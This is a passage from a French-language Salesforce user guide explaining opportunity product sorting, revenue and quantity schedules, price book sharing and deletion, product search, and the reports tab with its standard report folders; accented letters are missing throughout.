Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour trier des produits de l'opportunit :

Autorisation de modification sur les opportunits

AND
Autorisation de lecture sur les catalogues de produits et de
prix

Dans la liste associe Produits d'une opportunit, les produits associs apparaissent par dfaut dans l'ordre alphabtique.
Nanmoins, vous voudrez peut-tre trier les produits de telle sorte que les produits associs ou regroups apparaissent
ensemble.
Pour dfinir l'ordre des produits dans la liste associe aux produits d'une opportunit :
1. Cliquez sur Tri dans la liste associe aux produits.
2. Slectionnez un nom de produit et utilisez les touches flches pour trier le produit.
3. Cliquez sur Enregistrer pour achever la procdure.

Voir aussi :
Prsentation des produits, des catalogues de prix et des planifications
Modification des produits par opportunit

Produits

Guide de l'utilisateur | tablissement des planifications | 1669

tablissement des planifications

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour crer des planifications :

Autorisation de modification sur les opportunits

Pour modifier des planifications :

Autorisation de modification sur les opportunits

Pour crer une nouvelle planification d'un produit associ une opportunit :
1. Cliquez sur le nom du produit voulu dans la liste associe aux produits.
2. Cliquez sur tablir pour crer une nouvelle planification, ou sur Rtablir pour supprimer l'ancienne planification et en
crer une nouvelle. (Reportez-vous Modification des planifications la page 1670 pour modifier une planification existante.)
3. Slectionnez le type de planification crer (quantit, chiffre d'affaires ou les deux). Les choix disponibles varient en
fonction des paramtres de planification choisis par votre entreprise et des types de planification que l'administrateur a
activs pour le produit.
4. Dfinissez les dtails de la planification.
Par exemple, si le prix unitaire du produit est fix 100 dollars et que vous dfinissez une planification du chiffre d'affaires
en dix versements mensuels, une planification de type division cre dix versements de 10 dollars. Une planification de
type renouvellement cre ensuite dix versements de 100 dollars pour un total de 1 000 dollars.
5. Cliquez sur Enregistrer pour afficher les versements de la planification.
6. Si besoin est, modifiez les versements comme indiqu la rubrique Modification des planifications la page 1670.
Produits ayant des planifications par dfaut
S'il existe dans le catalogue des planifications par dfaut pour un produit, elles sont automatiquement dfinies lorsque le produit
est associ l'opportunit. Les dates de versements commencent la date spcifie lors de l'ajout du produit. Si la date du
produit est laisse en blanc, les dates de versement commencent la date de clture de l'opportunit.
Remarque: Si le produit possde une planification de quantit et une planification de chiffre d'affaires, la planification
de quantit est calcule en premier afin de dterminer le chiffre d'affaires total du produit, puis la planification de
chiffre d'affaires est applique au montant du chiffre d'affaires.

Voir aussi :
Prsentation des produits, des catalogues de prix et des planifications
Modification des planifications

Produits

Guide de l'utilisateur | Modification des planifications | 1670

Modification des planifications

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour crer des planifications :

Autorisation de modification sur les opportunits

Pour modifier des planifications :

Autorisation de modification sur les opportunits

Pour modifier une planification existante d'un produit associ une opportunit :
1. Cliquez sur le nom du produit voulu dans la liste associe aux produits.
2. Cliquez sur Modifier dans la liste associe aux planifications de la page de dtails du produit.
3. Dans la liste des versements, vous pouvez ajouter des commentaires ou modifier les dates, les quantits et les montants de
chiffre.
4. Cliquez sur Recalculer pour obtenir un aperu du nouveau chiffre d'affaires total et/ou de la quantit de produit.
Les cumuls de produits correspondent la somme des versements. Toute modification apporte remplace les cumuls
actuellement enregistrs pour le produit.
5. Cliquez sur Enregistrer pour achever la procdure.
Remarque: Si vous ne parvenez pas obtenir facilement les rsultats souhaits en modifiant manuellement les
versements de la planification, revenez aux dtails du produit et cliquez sur Rtablir pour supprimer l'ancienne
planification et en crer une nouvelle.

Voir aussi :
Prsentation des produits, des catalogues de prix et des planifications
tablissement des planifications

Produits

Guide de l'utilisateur | Partage des catalogues | 1671

Partage des catalogues

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour partager des catalogues :

Autorisation de modification sur les catalogues

Votre administrateur dfinit l'accs par dfaut aux catalogues de l'organisation entire. Les administrateurs et les utilisateurs
autoriss modifier les catalogues peuvent manuellement tendre le partage d'un catalogue de ce type d'autres utilisateurs.
Par contre, vous ne pouvez pas restreindre les possibilits de partage par rapport au modle par dfaut.
Pour afficher et grer les dtails du partage, cliquez sur Partage dans la page de dtails du catalogue de prix. Cette page
rpertorie les utilisateurs, les groupes, les rles et les territoires qui disposent d'un accs partag au catalogue de prix. Cette
page permet d'effectuer les oprations suivantes :

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Ajouter pour accorder un accs l'enregistrement aux autres utilisateurs, groupes, rles ou territoires.
Pour les rgles de partage manuelles que vous crez, cliquez sur Modifier ou Suppr en regard d'un lment de la liste afin
de modifier ou de supprimer le niveau d'accs.
Conseil: Si l'accs par dfaut aux catalogues de prix est dfini sur Aucun accs dans toute l'organisation, dfinissez
l'accs Affichage uniquement au catalogue de prix standard, afin que les utilisateurs puissent visualiser les prix dans la
page de dtails du produit.

Voir aussi :
Octroi d'accs aux enregistrements
Affichage des utilisateurs bnficiant de droits d'accs

Produits

Guide de l'utilisateur | Suppression des produits et des catalogues | 1672

Suppression des produits et des catalogues

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour supprimer des produits :

Autorisation de suppression sur les produits

Pour supprimer des catalogues :

Suppression de catalogues

Pour supprimer des produits de l'opportunit :

Autorisation de modification sur les opportunits

La suppression porte soit sur les produits soit sur les catalogues car les deux peuvent avoir des entres de catalogue associes.
Vous pouvez supprimer un produit et ses entres de catalogue associes, ou un catalogue et ses entres. Pour plus d'informations
sur les relations existant entre catalogues de prix et produits, reportez-vous Prsentation des produits, des catalogues de prix
et des planifications la page 1655 Dans les deux cas, les catalogues ne sont pas concerns lorsque vous en supprimez un produit.
De mme, lorsque vous supprimez un catalogue, les produits ne disparaissent d'aucun autre catalogue.
Remarque: Vous ne pouvez pas supprimer de produit ni de catalogue de prix associ un processus d'approbation ou
ayant une action de workflow en attente. Reportez-vous Gestion des processus d'approbation la page 779 et Gestion
des rgles de workflow la page 724.
Avant de commencer, passez en revue vos options de suppression des produits et des catalogues avec des enregistrements
associs :

Y a-t-il une entre de catalogue associe ?

Si votre produit ou votre catalogue de prix n'est associ aucune entre de catalogue, vous pouvez le supprimer. Salesforce.com
le dplace provisoirement vers la Corbeille, d'o il peut tre restaur si ncessaire. Si le produit ou le catalogue possde des
entres de catalogue, elles sont toutes supprimes et restaures avec le produit ou le catalogue associs. Reportez-vous
Suppression de produits la page 1673 ou Suppression de catalogues de prix la page 1673.

Est-il dans une opportunit ?

Si votre produit ou votre catalogue est utilis dans une opportunit, vous disposez de trois options :
1. Modifiez-le et dslectionnez le champ Actif pour le dsactiver. Il est recommand de dsactiver un produit ou un
catalogue situ dans une opportunit car il ne sera plus accessible aux utilisateurs mais vous pourrez le ractiver, si
ncessaire.
2. Supprimez le produit ou le catalogue associ de toutes les opportunits. Lorsque vous tentez de supprimer un produit
ou un catalogue de prix utilis dans une opportunit, Salesforce.com affiche la liste des opportunits qui l'utilisent. Si
vous supprimez un catalogue, faites-le dans chaque opportunit rpertorie. Si vous supprimez un produit, faites-le
dans chaque opportunit qui l'utilise. Supprimez ensuite le catalogue ou le produit qui est temporairement stock dans
la Corbeille, d'o vous pouvez le rcuprer, ainsi que les entres de catalogue associes.
3. Archivez le produit ou le catalogue et chaque entre de catalogue associe. Les produits et les catalogues archivs ne
peuvent pas tre rcuprs car ils ne sont pas stocks dans la Corbeille. Ils continuent toutefois apparatre dans les
opportunits qui les contenaient avant l'archivage.

Produits

Guide de l'utilisateur | Suppression des produits et des catalogues | 1673

Conseil: Si vous avez perdu d'importantes informations sur un produit lors d'un archivage, vous pouvez afficher les
enregistrements de produit archivs dans une exportation. Reportez-vous Exportation des donnes de sauvegarde
la page 216.

Suppression de produits
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Pour supprimer un produit, cliquez sur Supprimer dans la page des dtails du produit. Lorsque vous supprimez un produit,
toutes les entres de catalogue sont galement supprimes. Le produit est plac dans la Corbeille. Si vous rcuprez ce produit
dans la Corbeille, toutes les entres de catalogue associes sont elles aussi rcupres.
Remarque: Vous ne pouvez pas supprimer un produit utilis dans une opportunit. Si vous essayez de le supprimer,
Salesforce.com affiche une liste des opportunits pour vous permettre de supprimer le produit de ces opportunits et
de ressayer. Si vous ne souhaitez pas supprimer le produit de toutes les opportunits, vous pouvez le dsactiver
(recommand) ou l'archiver. Pour connatre la description de ces actions, reportez-vous Suppression des produits et
des catalogues de prix la page 1672.

Voir aussi :
Corbeille
Suppression en masse de donnes

Suppression de catalogues de prix

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Pour supprimer un catalogue, cliquez sur Supprimer dans la page des dtails du catalogue. Lorsque vous supprimez un catalogue,
toutes les entres associes sont galement supprimes. Le catalogue est plac dans la Corbeille. Si vous rcuprez ce catalogue
dans la Corbeille, toutes les entres associes sont elles aussi rcupres.
Remarque: Vous ne pouvez pas supprimer le catalogue standard ou un catalogue situ dans une opportunit. Si vous
tentez de supprimer un catalogue de prix utilis dans une opportunit, Salesforce fait apparatre la liste des opportunits
concernes. Si vous ne souhaitez pas supprimer le catalogue de ces opportunits, vous pouvez le dsactiver (recommand)

Produits

Guide de l'utilisateur | Recherche de catalogues de prix et de produits | 1674

ou l'archiver. Pour connatre la description de ces actions, reportez-vous Suppression des produits et des catalogues
de prix la page 1672.

Voir aussi :
Corbeille

Recherche de catalogues de prix et de produits

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des produits :

Autorisation de lecture sur les produits

Pour afficher des catalogues :

Autorisation de lecture sur les catalogues de produits et de

prix

Vous pouvez rechercher et slectionner des produits et des catalogues associer ensemble ou aux opportunits. Par exemple :

Sur la page des dtails d'une opportunit, cliquez sur Ajouter un produit pour slectionner un produit rpertorier dans
une opportunit.
Sur la page des dtails d'un produit, cliquez sur Ajouter au catalogue pour slectionner un catalogue dans lequel insrer
le produit. Ce bouton n'est pas disponible si le produit n'a pas de prix standard.
Sur la page des dtails d'un catalogue, cliquez sur Ajouter pour slectionner un produit insrer dans ce catalogue.

Pour rechercher et slectionner des produits ou des catalogues :

1. Saisissez les mots-cls rechercher. Les mots-cls saisis renvoient les correspondances trouves dans les champs texte
standard ou personnaliss.
2. Slectionnez vos critres de filtre pour affiner votre recherche. Reportez-vous Saisie des critres de filtre la page 1736
pour obtenir des descriptions sur les oprateurs de filtre. Cliquez sur Plus de filtres pour utiliser des conditions
supplmentaires et affiner votre recherche.
Conseil: Effectuez des recherches par mot-cl et/ou par critre de filtre. Dans les cas o vous utilisez conjointement
ces deux mthodes, Salesforce.com recherche les enregistrements correspondant aux mots-cls et aux critres de
filtre.
3. Cliquez sur le bouton Recherche.
4. Cochez les cases situes en regard des enregistrements slectionner. Vous pouvez galement cocher la case situe en regard
de l'en-tte de colonne afin de slectionner tous les lments actuellement affichs.
5. Cliquez sur Slectionner.
Cliquez sur le lien Page suivante (ou Page prcdente) pour passer au groupe de produits ou catalogue suivant ou prcdent.

Produits

Guide de l'utilisateur | Recherche de catalogues de prix et de produits | 1675

Conseil: Essayez de limiter autant que possible les rsultats de la recherche. Si vous cliquez sur Page suivante ou
Page prcdente, vous perdrez les enregistrements cochs. Si la recherche par mot-cl renvoie plus de 2 000 rsultats,
basez votre recherche sur des filtres et des mots-cls. Pour plus d'informations sur la faon d'amliorer les rsultats de
vos recherches, reportez-vous Conseils de recherche la page 1675.
Conseils de recherche

Les fonctions de recherche ou de recherche avance du menu latral ne concernent pas les catalogues de prix ou les produits.
Entrez vos mots-cls au mme format que pour une recherche avance. Par exemple, entrez un mot-cl pour rechercher
tout enregistrement contenant ce mot-cl dans un champ texte standard ou personnalis. Entrez plusieurs mots-cls pour
rechercher les enregistrements contenant tout ou partie des mots-cls. Encadrez les mots-cls de guillemets pour rechercher
les occurrences exactes.
Une recherche de produits par mot-cl ajoute automatiquement un caractre gnrique implicite au dernier mot-cl
rpertori. Si vous utilisez plusieurs mots-cls, insrez le caractre gnrique * dans n'importe quel mot-cl (sauf le
dernier). Par exemple, pour rechercher l'expression Licences professionnelles le mot-cl Lic* pro trouve les enregistrements
appropris car le caractre gnrique est utilis dans le premier mot-cl partiel et implicite dans le deuxime mot-cl partiel.
Utilisez des oprateurs spciaux pour amliorer l'efficacit de la recherche. Pour obtenir la liste des oprateurs spciaux,
reportez-vous Utilisation de caractres gnriques et d'oprateurs dans les recherches la page 1905.
Lors du filtrage des rsultats de recherche, vous pouvez choisir de les limiter aux enregistrements ne contenant pas de
valeurs vides ou nulles pour un champ particulier en slectionnant le champ, puis l'oprateur Diffrent de et en laissant
le troisime champ vide.
Cliquez sur l'en-tte de colonne de votre choix pour trier les rsultats par ordre croissant. Cliquez de nouveau sur l'en-tte
pour trier la colonne par ordre dcroissant.
Le tri concerne tous les rsultats obtenus pour un objet particulier, y compris ceux des pages suivantes.
Vous ne pouvez pas trier les champs de liste de slection multiple, car vous ne pouvez pas cliquer sur les en-ttes de colonne
de ce type de champ.

Vous pouvez slectionner les colonnes afficher dans les rsultats de la recherche et modifier l'ordre d'apparition des
colonnes choisies en cliquant sur Personnaliser et en slectionnant Mes colonnes. Utilisez les flches Ajouter et
Supprimer pour dplacer les colonnes de la liste Champs disponibles vers la liste Champs slectionns. Utilisez galement
les flches Haut et Bas pour modifier l'ordre des colonnes.
Il appartient l'administrateur de dfinir les colonnes disponibles dans la prsentation de recherche. Si l'administrateur
n'a pas cr de prsentation de recherche pour l'objet ou si aucune prsentation de recherche n'est disponible pour cet objet,
tels que des documents et des rapports, vous ne serez pas en mesure de personnaliser les colonnes.

Champs de recherche de produit

Lors d'une recherche de produits, Salesforce.com cherche des correspondances dans les champs suivants :

Nom du produit
Code du produit
Description du produit

Tout champ personnalis de type numro automatique, texte, zone de texte, zone de texte longue, e-mail ou tlphone
Tout champ personnalis dfini comme ID externe

Champs de recherche des catalogues

Lorsque vous recherchez des catalogues, Salesforce.com recherche les critres correspondants dans les champs suivants :

Nom du catalogue
Description du catalogue

Groupes de relations

Rapports
Prsentation des rapports
Les rapports disponibles varient en fonction de l'dition Salesforce.com dont vous disposez.

Les rapports sont des listes, des rcapitulatifs et des analyses de vos donnes que vous pouvez afficher ou imprimer. Ils consistent
en un ensemble de donnes qui peuvent tre filtres et regroupes, puis affiches dans une reprsentation graphique
personnalisable.
Pour faciliter le suivi de votre organisation, Salesforce.com offre une gamme tendue de rapports standard, accessibles dans
les dossiers de rapports standard sous l'onglet Rapports. Vous pouvez personnaliser les rapports standard. Vous pouvez galement
crer des rapports personnaliss pour accder avec prcision aux informations dont vous avez besoin. Vous pouvez calculer les
sous-totaux et la limite de vos donnes pour faciliter l'analyse des tendances et obtenir une vue synthtise de l'activit dans
votre organisation.
Salesforce.com prend en charge trois formats de rapports, chacun prsentant divers niveaux de fonctionnalit et de complexit
:
Format

Description

Tableau

Les Rapports tabulaires reprsentent la mthode la plus rapide et la plus simple pour consulter les donnes.
Semblables une feuille de calcul, ils sont composs d'une srie organise de colonnes qui prsentent
chaque enregistrement correspondant sur une ligne. Ils ne peuvent pas tre utiliss pour crer des groupes
de donnes ou des diagrammes. Utilisez ce type pour des rapports gnrs partir de donnes telles que
les listes de publipostage et les activits.

Rcapitulatif

Les Rapports rcapitulatifs sont similaires aux rapports tabulaires, sauf qu'ils autorisent galement les
utilisateurs regrouper les lignes de donnes, afficher des sous-totaux et crer des graphiques. Ils
peuvent tre utiliss dans des tableaux de bord. Utilisez ce type d'enregistrement pour afficher des
sous-totaux bass sur la valeur d'un champ spcifique ou lorsque vous souhaitez crer une liste
hirarchique, par exemple toutes les opportunits de votre quipe, avec les sous-totaux tape et
Responsable.

Matrice

Les Rapports matriciels synthtisent les donnes dans une grille. Ils peuvent tre utiliss dans des tableaux
de bord. Utilisez ce type de rapport pour comparer des totaux associs, notamment si vous avez des
volumes importants de donnes synthtiser et que vous souhaitez comparer des valeurs de champs
diffrents, ou si vous souhaitez consulter les donnes par date et par produit, par personne ou par
emplacement gographique.

Les utilisateurs disposant de l'autorisation Grer les types de rapport personnalis peuvent dfinir des types de rapport
personnalis qui tendent les types de rapports partir desquels tous les utilisateurs dans leur organisation peuvent crer ou
mettre jour des rapports personnaliss. Avec les types de rapport personnalis, vous pouvez permettre aux utilisateurs de crer
des rapports partir d'objets standard et personnaliss prdfinis, de relations d'objets, et des champs standard et personnaliss
que vous spcifiez.

Rapports

Guide de l'utilisateur | Prsentation des rapports | 1678

Remarque:
Les informations qui apparaissent dans les rapports sont les seules donnes auxquelles vous avez accs. Cela concerne
notamment les enregistrements dont vous tes responsable, ceux auxquels vous avez accs en lecture ou en lecture/criture,
les enregistrements que vous partagez, et ceux dont la responsabilit incombe des utilisateurs ou est partage par des
utilisateurs ayant une position infrieure la vtre dans la hirarchie, ainsi que les enregistrements pour lesquels vous
bnficiez d'une autorisation de lecture.
De plus, seuls les champs visibles dans votre prsentation de page et avec vos paramtres de scurit au niveau du
champ peuvent tre affichs. (La scurit au niveau du champ n'est disponible que dans Enterprise Edition, Unlimited
Edition et Developer Edition.)
Si votre entreprise utilise des services et que vous disposez de l'autorisation Affect par services, vous pouvez configurer
les options de rapport pour y inclure les enregistrements d'un seul ou de tous les services. Les rapports dj vrifis
(comme les comptes Mes requtes ou Mon quipe de vente) incluent les enregistrements de tous les services. Si vous
ne bnficiez pas de l'autorisation Affect par services, vos rapports incluent les enregistrements de tous les services.
Les utilisateurs des ditions Professional, Enterprise, Unlimited et Developer peuvent planifier des rapports et les envoyer par
e-mail. Pour plus d'informations, consultez la rubrique Planification d'un rapport la page 1713.
Les utilisateurs disposant de l'autorisation Grer les Instantans analytiques peuvent programmer l'excution d'un rapport
tabulaire ou rcapitulatif et enregistrer les rsultats du rapport dans les champs d'un objet personnalis. Grce aux instantans
analytiques, vous pouvez mapper des champs d'un rapport source vers des champs d'un objet cible, et programmer le moment
d'excution afin de renseigner les champs de l'objet personnalis avec les donnes du rapport. Les instantans analytiques
permettent d'utiliser les donnes d'un rapport de la mme manire que les autres enregistrements dans Salesforce.com.

Voir aussi :
Page d'accueil des rapports
Personnalisation des rapports
Limitation des rsultats d'un rapport
Tri des rsultats de rapport
Calcul du sous-total des rsultats de rapport
Enregistrement des rapports
Recherche de rapports
Impression et exportation des rapports

Rapports

Guide de l'utilisateur | Page d'accueil des rapports | 1679

Page d'accueil des rapports

Disponible avec : Toutes les ditions
Les rapports disponibles varient en fonction de l'dition Salesforce.com dont vous disposez.

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture des enregistrements inclus vos rapports, sinon lors de leur
excution, des donnes risquent de manquer ou de ne pas s'afficher.
Un clic sur l'onglet Rapports affiche la page d'accueil des rapports. Si votre onglet Rapports n'est pas visible, vous pouvez
personnaliser l'affichage pour le faire apparatre.

Pour rechercher un rapport personnalis, saisissez des mots-cls, puis cliquez sur Rechercher un rapport. Le systme
recherche les correspondances des champs Nom du rapport et Description.
Dans la section Dossiers de rapport, slectionnez un dossier pour afficher tous les rapports qu'il contient. Cliquez sur
Modifier pour modifier les paramtres d'accs au dossier. Cliquez sur Crer un nouveau dossier pour crer un dossier de
rapport.
La liste droulante Dossier inclut tous les dossiers de rapport auxquels vous avez accs. Toutefois, si vous tes autoris
grer les rapports publics, vous pouvez visualiser, modifier et grer tous les dossiers de rapport publics de votre organisation.
La section Dossiers de rapports n'est pas disponible dans Personal Edition, Contact Manager Edition et Group Edition.

Le sous-onglet Tous les rapports rpertorie tous les dossiers de rapport auxquels vous avez accs. Cliquez sur Rorganiser
les dossiers pour modifier l'ordre des dossiers dans le sous-onglet Tous les rapports. Dans la liste droulante Dossier, vos
dossiers apparaissent dans l'ordre alphabtique, l'exception de Rapports publics non classs et de Mes rapports personnels
personnaliss, situs en tte de liste. Il est impossible de modifier l'ordre des dossiers dans la liste droulante Dossier. Pour
masquer tous les rapports dans l'ensemble des dossiers, cliquez sur l'option Rduire tout. Pour afficher tous les rapports
de tous les dossiers, cliquez sur Dvelopper tout. Slectionnez la flche en regard du nom d'un dossier pour afficher ou
masquer les rapports du dossier en question.
Le sous-onglet Rapports rcents affiche la liste des rapports personnaliss qui correspondent aux critres de la liste droulante.
Dans la liste, cliquez sur le nom du rapport excuter. Cliquez alternativement sur les liens Afficher 25 lments et Afficher
10 lments pour changer le nombre d'lments affichs. Les champs que vous voyez sont prdfinis et ne peuvent tre
modifis. Les options de la liste droulante sont les suivantes :
Options du sous-onglet Rapports rcents

Description

Affich rcemment

Les dix ou les vingt-cinq derniers rapports personnaliss

affichs, en commenant par le rapport consult le plus
rcemment. Cette liste inclut les enregistrements auxquels
vous et d'autres utilisateurs avez accs.

Rapports

Guide de l'utilisateur | Page d'accueil des rapports | 1680

Options du sous-onglet Rapports rcents

Description

Cr rcemment

Les dix ou les vingt-cinq derniers rapports personnaliss

crs, le rapport cr le plus rcemment figurant en tte de
liste. Cette liste inclut les enregistrements auxquels vous et
d'autres utilisateurs avez accs.

Modifi rcemment

Les dix ou les vingt-cinq derniers rapports personnaliss que

vous avez modifis, en commenant par le rapport modifi
le plus rcemment. Cette liste inclut les enregistrements
auxquels vous et d'autres utilisateurs avez accs.

Cliquez sur Crer un nouveau rapport personnalis pour crer un rapport personnalis.
Cliquez sur le nom du rapport excuter. Les utilisateurs des ditions Professional, Enterprise, Unlimited et Developer
peuvent planifier des rapports et les envoyer par e-mail. Pour plus d'informations, consultez la rubrique Planification d'un
rapport la page 1713.
Cliquez sur Modifier en regard d'un rapport pour personnaliser ses proprits.
Cliquez sur Suppr pour supprimer le rapport du dossier de rapport. Tous les rapports supprims sont placs dans la Corbeille.
Vous ne pouvez pas supprimer un rapport fournissant des donnes un composant de tableau de bord ou un instantan
analytique. Pour supprimer le rapport, vous devez tout d'abord supprimer le composant de tableau de bord ou l'instantan
analytique.

Cliquez sur Exporter pour exporter un rapport directement vers une feuille de calcul Excel ou un fichier CSV (valeurs
spares par des virgules). Si la virgule ne convient pas vos paramtre rgionaux, utilisez une tabulation ou un autre
sparateur.
Remarque: Pour des raisons de scurit, Salesforce.com peut inviter les utilisateurs passer un test de vrification
avant d'exporter les donnes de leur organisation. Ce test de saisie tout simple permet d'empcher les programmes
malveillants d'accder aux donnes de votre entreprise.
Pour russir le test, l'utilisateur doit saisir les deux mots affichs sur la fentre superpose dans la zone de texte,
puis cliquer sur le bouton Envoyer. Remarque : les mots saisis dans la zone de texte doivent tre spars par un
espace.
Salesforce.com utillise la technologie CAPTCHA fournie par reCaptcha pour vrifier qu'une personne, et non un
programme automatis, a correctement saisi le texte dans le plan. CAPTCHA est un acronyme qui signifie test
public de Turing compltement automatique ayant pour but de diffrencier les humains des ordinateurs.

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1681

Les utilisateurs autoriss excuter les rapports n'ont accs ni au bouton Crer un nouveau rapport personnalis, ni aux liens
Modifier et Suppr des rapports.

Voir aussi :
Prsentation des rapports
Personnalisation des rapports
Limitation des rsultats d'un rapport
Tri des rsultats de rapport
Calcul du sous-total des rsultats de rapport
Enregistrement des rapports
Recherche de rapports
Impression et exportation des rapports
Cration de rapports sur les partenaires
Personnalisation de l'onglet Rapports
Dossiers de rapports standard

Dossiers de rapports standard

Les rapports disponibles varient en fonction de l'dition Salesforce.com dont vous disposez.

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture dans les enregistrements inclus vos rapports, sinon durant
leur excution des donnes risquent de manquer ou de ne pas s'afficher.
La section ci-dessous rpertorie les dossiers de rapport standard de l'onglet Rapports. Certains de ces dossiers n'apparaissent
peut-tre pas si l'administrateur a personnalis la visibilit des dossiers de l'onglet Rapport.
Dossier de rapport standard

Description

Rapports publics non classs

Rapports personnaliss crs et mis en partage par

l'administrateur, mais qui n'ont pas t classs dans un dossier
de rapport personnalis. Reportez-vous Gestion des dossiers
la page 573.

Mes rapports personnels personnaliss

Rapports personnaliss que vous avez sauvegards en cliquant

sur l'option Enregistrer sous ou Enregistrer en haut du
rapport. Reportez-vous Personnalisation des rapports la
page 1716.

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1682

Dossier de rapport standard

Description

Rapports sur les comptes et les contacts

Informations sur les comptes et les contacts. Reportez-vous

Rapports sur les comptes et les contacts la page 1683.

Rapports sur les activits

Informations concernant les tches et vnements de

calendrier, ainsi que les demandes d'approbation en attente
pour lesquelles vous tes approbateur dlgu. Reportez-vous
Rapports sur les activits la page 1685.

Rapports administratifs

Informations sur vos utilisateurs, documents, demandes

d'approbation en attente et rapports Salesforce.com.
Reportez-vous Rapports administratifs la page 1707.

Rapports sur les centres d'appels

Informations sur les appels tlphoniques ayant t grs avec

Salesforce CRM Call Center. Reportez-vous Rapports
Salesforce CRM Call Center la page 1140.

Rapports de campagne

Informations sur les campagnes marketing. Reportez-vous

Rapports de campagne la page 1701.

Rapports de contenu

Informations sur vos donnes Salesforce CRM Content. Ce

dossier s'affiche uniquement si l'option Utilisateur
Salesforce CRM Content est active dans vos
informations personnelles. Reportez-vous Rapports
Salesforce CRM Content la page 1703.

Rapports de prvision

Dtails concernant les rapports de prvision pour une prvision

personnalisable. Reportez-vous Rapports de prvision la
page 1691.

Rapports sur les pistes

Informations sur les pistes de votre organisation.

Reportez-vous Rapports sur les pistes la page 1693.

Rapports d'opportunit et de prvision

Dtails concernant les opportunits, les prvisions, les produits,

les en-cours de vente et les prvisions. Reportez-vous
Rapports sur les opportunits, prvisions et ventes la page
1687.

Rapports sur les produits et les actifs

Informations sur les produits, catalogues de prix et actifs.

Reportez-vous Rapports sur les produits et les actifs la page
1706.

Rapports sur les ventes

Informations sur les ventes. Reportez-vous Rapports sur les

opportunits, prvisions et ventes la page 1687.

Rapports libre-service

Informations sur le portail libre-service. Reportez-vous

Rapports libre-service la page 1700.

Rapports sur le support

Informations concernant les requtes et solutions de votre

organisation. Reportez-vous Rapport sur le support la page
1694.

Rapports sur les territoires

Informations sur les territoires de votre organisation.

Reportez-vous Rapports sur les territoires la page 1709.

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1683

Conseil: Vous pouvez crer des types de rapport personnalis partir desquels les utilisateurs peuvent crer des rapports
sur les rapports et tableaux de bord de votre entreprise. Lorsque vous dfinissez un type de rapport personnalis,
slectionnez Rapports ou Tableaux de bord dans la liste droulante Objet principal de la page Nouveau type de
rapport personnalis. Pour plus d'informations, reportez-vous Dfinition des types de rapport personnalis la page
1757.

Voir aussi :
Page d'accueil des rapports
Gestion des dossiers

Rapports sur les comptes et les contacts

Les rapports disponibles varient en fonction de l'dition Salesforce.com dont vous disposez.

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture des enregistrements inclus vos rapports, sinon lors de leur
excution, des donnes risquent de manquer ou de ne pas s'afficher.
Utilisez les rapports du dossier Rapports de compte et de contact pour recueillir des informations sur les comptes et les
contacts.
Les rapports de compte standard vous donnent des informations sur les comptes actifs, ngligs ou sur les nouveaux comptes,
et affichent les comptes par responsable ou partenaire. Les deux rapports de contact standard vous permettent de crer une
liste de publipostage des contacts ou de suivre les opportunits en fonction du rle du contact. Vous pouvez galement crer
des rapports de compte et de contact personnaliss.
Fonctions spciales du dossier Rapports de compte et de contact
Tenez compte des points suivants lorsque vous excutez des rapports de compte et de contact :
Rapports standard

Si votre entreprise suit l'historique des champs sur les comptes ou les contacts, vous pouvez crer des rapports sur ces
informations l'aide du rapport de l'historique des comptes ou du rapport de l'historique des contacts.
Si votre entreprise utilise des comptes personnels, les champs propres aux comptes personnels sont disponibles et
dots du prfixe Compte personnel : dans les rapports de compte. En outre, vous pouvez inclure le champ Est
un compte personnel la fois dans les rapports de compte et de contact. Notez que votre administrateur n'utilise
pas ncessairement l'expression comptes personnels , auquel cas c'est le nom choisi qui apparat ici.

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1684

Conseils sur les rapports de compte et de contact

Pour la plupart des rapports de compte et de contact, commencez par lancer l'Assistant de rapport personnalis pour
indiquer les paramtres du rapport.
Si les balises sont actives, vous pouvez marquer tous les rapports personnaliss. Lors de l'affichage du rapport, cliquez
sur Ajouter des balises ou sur Modifier des balises dans la zone Balises immdiatement en-dessous de la barre de
titre en couleur pour marquer le rapport. Si l'enregistrement a dj t marqu, cliquez sur un nom de balise pour
afficher une liste de tous les enregistrements et rapports contenant cette balise.
Vous pouvez galement crer un rapport pour les informations de contact et exporter ces donnes vers Excel, puis
effectuer un publipostage en masse avec Microsoft Word. Pour obtenir des instructions plus compltes, reportez-vous
au document consacr au procd de publipostage de Salesforce.com.
Le champ Dernire activit du compte et du contact correspond la date d'chance de l'activit la plus rcente
dans un enregistrement. Les activits passes ou futures suivantes dterminent cette date :
-

tout vnement
Tches closes

